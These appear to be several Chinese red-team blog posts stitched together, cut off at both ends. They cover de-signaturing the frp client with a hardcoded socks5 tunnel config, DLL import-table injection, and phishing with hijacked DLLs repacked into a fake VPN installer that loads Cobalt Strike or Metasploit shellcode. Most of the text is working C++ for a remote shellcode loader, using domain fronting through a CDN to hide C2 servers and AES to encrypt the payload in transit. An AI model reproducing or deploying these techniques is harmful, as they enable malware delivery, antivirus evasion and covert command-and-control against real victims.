err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)
return
}

运行效果如下：

frpc.ini的ip通过参数传入

Golang语法规则：

• golang的命名推荐使用驼峰命名法，必须以一个字母（Unicode字母）或下划线开头，后面可以跟任意数量的字母、数字或下划线。

• golang中根据首字母的大小写来确定可以访问的权限。无论是方法名、常量、变量名还是结构体的名称，如果首字母大写，则可以被其他的包访问；如果首字母小写，则只能在本包中使用

不用上面的直接增加定义的方法，在cmd/frpc/sub/root.go写一个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13

func getFileContent(ip string,port string) {
var content string = `[common]
    server_addr = ` + ip + `
    server_port = ` + port + `
tls_enable = true
    privilege_token = pentest999
    [http_proxy]
    type = tcp
    remote_port = 23333
    plugin = socks5
`
fileContent = content
}

然后在cmd\frpc\root.go中定义传参

1
2
3
4
5
6
7

func init() {
rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")
rootCmd.PersistentFlags().StringVarP(&ip, "server_addr", "t", "", "server_addr")
rootCmd.PersistentFlags().StringVarP(&port, "server_port", "p", "", "server_port")
kcpDoneCh = make(chan struct{})
}

修改runClient函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

func runClient(cfgFilePath string,ip string,port string) (err error) {
var content string
getFileContent(ip,port)
//scontent, err = config.GetRenderedConfFromFile(cfgFilePath)
content, err = fileContent, nil
if err != nil {
return
}

cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)
if err != nil {
return
}

pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start)
if err != nil {
return err
}

err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)
return
}

在如下代码中调用runClient()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

var rootCmd = &cobra.Command{
Use:   "frpc",
Short: "frpc is the client of frp (https://github.com/fatedier/frp)",
RunE: func(cmd *cobra.Command, args []string) error {
if showVersion {
fmt.Println(version.Full())
return nil
}
// Do not show command usage here.
err := runClient(cfgFile,ip,port)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
return nil
},
}

修改完上面的代码，就可以用

1

frpc.exe -t 1.1.1.1 -p 2333

来启动frpc.exe了。

这种在Windows下不会暴露远程ip，但是在linux下还是会暴露的。

所以可以直接加一些加密啥的，-t参数传入ip加密后的地址，然后在源码里加一个解密的步骤即可。

同样也可以将ip地址以十进制或十六进制传入，然后在程序里转换会1.1.1.1格式。

运行效果如下：

编译打包

frp整个项目编译打包其实也挺简单的，首先保证go和gcc环境都安装好。

然后修改一下目录下带的package.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# compile for version
make
if [ $? -ne 0 ]; then
    echo "make error"
    exit 1
fi

frp_version=`./bin/frps --version`
echo "build version: $frp_version"

# cross_compiles
make -f ./Makefile.cross-compiles

rm -rf ./release/packages
mkdir -p ./release/packages

os_all='linux windows darwin freebsd'
arch_all='386 amd64 arm arm64 mips64 mips64le mips mipsle'

cd ./release

for os in $os_all; do
    for arch in $arch_all; do
        frp_dir_name="frp_${frp_version}_${os}_${arch}"
        frp_path="./packages/frp_${frp_version}_${os}_${arch}"
        cd ..
        rm -rf ${frp_path}
    done
done

cd -

然后运行这个bash脚本，就可以交叉编译得到各种操作系统环境下的应用程序了。

Github

没有环境或无法正常编译可直接到github下载

https://github.com/uknowsec/frpModify

结语

通读了一下frpc读取配置文件和认证过程两部分的代码，然后再了解了cobra库的用法，实现简单的去特征，frpc无参和传参版的改造。后面的目标会继续研究frpc减小体积部分的改造。

​ 上篇没有讲拿破轮胎大佬工具的原理，同时工具生成的DLL目前不是免杀的。所以这里讲一下工具的原理。实际上，注入工具会将输入的shellcode进行一个处理，然后将他写入到和conf.inf文件中，然后wwwcomw.dll可以看成一个shellcode加载器，这里就是分离免杀的原理。工具还帮我完成了修改输入表的步骤。然后我们只需要把wwwcomw.dll和conf.inf放置到exe运行目录即可。

输入表注入原理

​ 当Exe被加载时，系统会根据Exe输入表信息来加载需要用到的DLL,输入表注入的原理就是修改exe输入表，将自己的DLL添加到exe的导入表中，这样exe运行时可以将自己的DLL加载到exe的进程空间。

输入表注入

DLL实例源码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <iostream>
HANDLE My_hThread = NULL;

DWORD  WINAPI  ceshi(LPVOID pParameter)

{
    MessageBox(NULL, L"Zero Team", L"Zero team", MB_OK);
    return 0;

}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


extern"C" _declspec(dllexport) void test()
{
    int a;
    a = 0;
}

编译如上代码，得到dll文件。

使用LordPe查看输出表，可以看到我们写的test函数。

使用Stud_PE添加输入表，导入exe查看函数。

添加新的输入表，选择DLL，选择函数，加入清单。

将DLL放置到exe运行目录，运行exe。

结语

​ 对于该技术的研究仅限于在渗透测试或者钓鱼中的使用，所以没有太多的逆向原理知识部分。关于其他逆向原理知识和DLL处理方面，有兴趣的可以自己研究~

在红队工作中，社工钓鱼会是最常见的攻击手段，同样蓝队工作中，蓝队可以通过反制红队获取加分。所以本文就简单说DLL劫持+重制安装包在钓鱼与反钓鱼中的利用。

钓鱼中的利用

在钓鱼攻击中，我们可以使用这种DLL劫持+重制安装包的方法来进行钓鱼是非常有效的。我们可以通过一些软件更新等说辞去下发恶意的安装包，恶意的安装包的安装过程逼真，同时程序正常功能都可以完美的运行。更不会使目标怀疑。

反钓鱼中的利用

在蓝队可以利用此方法来反制红队，例如：我们可以在自己准备好的虚拟机中点击红队发送过来的钓鱼邮件。并在虚拟机中准备一些让红队比较感兴趣的东西。

例如下图中的已准备好的“VPN安装包“+“VPN账号密码”。

当红队队员将这些安装包和账号密码传回自己本地进行安装并运行时，我们就可以成功的反控红队队员的机器了。

DLL劫持+重制安装包具体操作

DLL劫持

这里可以用到拿破轮胎大佬写DLL注入工具

使用方法：

1. 输入cs或者msf生成shellcode生成免杀dll文件
2. 添加需要劫持的软件或者dll
3. 劫持过后会在运行目录生成一个Dll和inf配置文件
4. 需要把两个文件放在被劫持的软件同目录下才可运行

这里以某国产VPN为例：

注入后，将wwwcomw.dll和conf.inf放到软件同目录下。

当运行软件时就能上线了。

重新制作安装包

这里用到的工具是NSIS。

制作过程就不写了，有兴趣的可以去百度找找使用说明。

https://www.cnblogs.com/modou/p/3573772.html

成功打包

安装包制作效果

安装过程效果：

安装完成后，可自动运行，并创建桌面快捷方式。

运行后，成功上线

总结

本文只是简单说下DLL劫持+重制安装包在钓鱼和反钓鱼中的利用，文中的工具和DLL可能存在不免杀和实战中的更多细节内容可自行解决~

shellcode加载器加载shellcode实现免杀上线，目前可能是使用最多的方法了。

现有的加载器也特别多，但是改造轮子的心总是在骚动，所以就开始了Shellcode远程加载器改造计划。

Winhttp实现HTTP请求

所谓远程加载shellcode，第一部得实现远程的功能，这里用Winhttp实现http请求来获取我们文件服务器上的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

string GetShellcodeByDefault(string strUrl)
{
    string strHost = GetHost(strUrl);//获取Host
    string strRequestStr = GetRequestStr(strUrl);//获取请求路径
    string header = "Content-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n";
    USES_CONVERSION;
    LPCWSTR host = A2CW(strHost.c_str());
    LPCWSTR requestStr = A2CW(strRequestStr.c_str());
    //Variables
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer;
    vector <string>  vFileContent;
    BOOL  bResults = FALSE;

    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    string strHtml = "";// store the html code
    hSession = WinHttpOpen(L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);
    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect(hSession, host,
            INTERNET_DEFAULT_HTTP_PORT, 0);
    // Create an HTTP request handle.
    if (hConnect)
        hRequest = WinHttpOpenRequest(hConnect, L"GET", requestStr,
            NULL, WINHTTP_NO_REFERER,
            NULL,
            NULL);

    //Add HTTP header 
    LPCWSTR header1 = A2CW(header.c_str());
    SIZE_T len = lstrlenW(header1);
    WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);

    // Send a request.
    if (hRequest)
        bResults = WinHttpSendRequest(hRequest,
            WINHTTP_NO_ADDITIONAL_HEADERS,
            0, WINHTTP_NO_REQUEST_DATA, 0,
            0, 0);
    // End the request.
    if (bResults)
        bResults = WinHttpReceiveResponse(hRequest, NULL);

    //obtain the html source code
    if (bResults)
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
                printf("Error %u in WinHttpQueryDataAvailable.\n",
                    GetLastError());
            // Allocate space for the buffer.
            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                dwSize = 0;
            }
            else
            {
                // Read the Data.
                ZeroMemory(pszOutBuffer, dwSize + 1);
                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
                    dwSize, &dwDownloaded))
                {
                    printf("Error %u in WinHttpReadData.\n",
                        GetLastError());
                }
                else
                {
                    //printf("%s", pszOutBuffer);
                   // Data in vFileContent
                    vFileContent.push_back(pszOutBuffer);

                }
                // Free the memory allocated to the buffer.
                delete[] pszOutBuffer;
            }
        } while (dwSize > 0);
        // Keep checking for data until there is nothing left.
       // Report any errors.
        if (!bResults)
            printf("Error %d has occurred.\n", GetLastError());
        // Close any open handles.
        if (hRequest) WinHttpCloseHandle(hRequest);
        if (hConnect) WinHttpCloseHandle(hConnect);
        if (hSession) WinHttpCloseHandle(hSession);

        for (int i = 0; i < (int)vFileContent.size(); i++)
        {
            str = vFileContent[i];
            strHtml += vFileContent[i];
        }
        return strHtml;
}

如上代码让已有的加载器实现一个远程加载shellcode的功能。

DomainFronting

但是远程加载shellcode容易暴露自己的文件服务器地址，所以这里用到了域前置，可以用来隐藏自己的服务器地址。

https://dcdn.console.aliyun.com/domain/list

申请你要加速的域名，例如test.com和源站信息。

申请完后就可以通过他给你分配cdn地址加上你host: test.com来访问的你地址了。

如下命令：

1

wget -U demo -q -O - http://test.com.w.cdngslb.com/ --header "Host: test.com"

通过域前置的方法可以有效的隐藏我们C2地址或加载器的文件服务器。同时此类CDN地址可能存在于白名单，可用于绕过流量监测。

这里在修改一个Winhttp实现HTTP请求方法，给它填上一个host头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107

string GetShellcodeByDomainFronting(string strUrl)
{
    string strHost = GetHost(strUrl);//获取Host
    string strRequestStr = GetRequestStr(strUrl);//获取请求路径
    string header = "Host: " + strHost + "\r\nContent-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n";
    strHost = strHost + ".w.cdngslb.com";
    USES_CONVERSION;
    LPCWSTR host = A2CW(strHost.c_str());//string转换为常量指针类型
    LPCWSTR requestStr = A2CW(strRequestStr.c_str());
    //Variables
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer;
    vector <string>  vFileContent;
    BOOL  bResults = FALSE;

    //Note the definition of HINTERNET
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    string strHtml = "";// store the html code
    string str;//temporary variables

// Use WinHttpOpen to obtain a session handle.
    hSession = WinHttpOpen(L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);
    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect(hSession, host,
            INTERNET_DEFAULT_HTTP_PORT, 0);
    // Create an HTTP request handle.
    if (hConnect)
        hRequest = WinHttpOpenRequest(hConnect, L"GET", requestStr,
            NULL, WINHTTP_NO_REFERER,
            NULL,
            NULL);

    //Add HTTP header 
    LPCWSTR header1 = A2CW(header.c_str());
    SIZE_T len = lstrlenW(header1);
    WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);

    // Send a request.
    if (hRequest)
        bResults = WinHttpSendRequest(hRequest,
            WINHTTP_NO_ADDITIONAL_HEADERS,
            0, WINHTTP_NO_REQUEST_DATA, 0,
            0, 0);
    // End the request.
    if (bResults)
        bResults = WinHttpReceiveResponse(hRequest, NULL);

    //obtain the html source code
    if (bResults)
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
                printf("Error %u in WinHttpQueryDataAvailable.\n",
                    GetLastError());
            // Allocate space for the buffer.
            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                dwSize = 0;
            }
            else
            {
                // Read the Data.
                ZeroMemory(pszOutBuffer, dwSize + 1);
                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
                    dwSize, &dwDownloaded))
                {
                    printf("Error %u in WinHttpReadData.\n",
                        GetLastError());
                }
                else
                {
                    //printf("%s", pszOutBuffer);
                   // Data in vFileContent
                    vFileContent.push_back(pszOutBuffer);

                }
                // Free the memory allocated to the buffer.
                delete[] pszOutBuffer;
            }
        } while (dwSize > 0);
        // Keep checking for data until there is nothing left.
       // Report any errors.
        if (!bResults)
            printf("Error %d has occurred.\n", GetLastError());
        // Close any open handles.
        if (hRequest) WinHttpCloseHandle(hRequest);
        if (hConnect) WinHttpCloseHandle(hConnect);
        if (hSession) WinHttpCloseHandle(hSession);

        for (int i = 0; i < (int)vFileContent.size(); i++)
        {
            str = vFileContent[i];
            strHtml += vFileContent[i];
        }
        return strHtml;
}

AES加密

用如上的域前置方法可以有效的隐藏我们的文件服务器，但是在通信过程中，我们shellcode还是会暴露。所以参照冰蝎的原理，我们可以实现一个对shellcode进行一个AES动态加密的过程。

客户端（C++ 加载器）

C++加载器随机生成一个key值，通过HTTP请求，将key发给文件服务器。

文件服务器收到请求用key值来加密已有的shellcode，回显给客户端。

C++加载器用cryptopp库，写一个AES解密函数来解密发过来的shellcode。

如下是AES解密函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34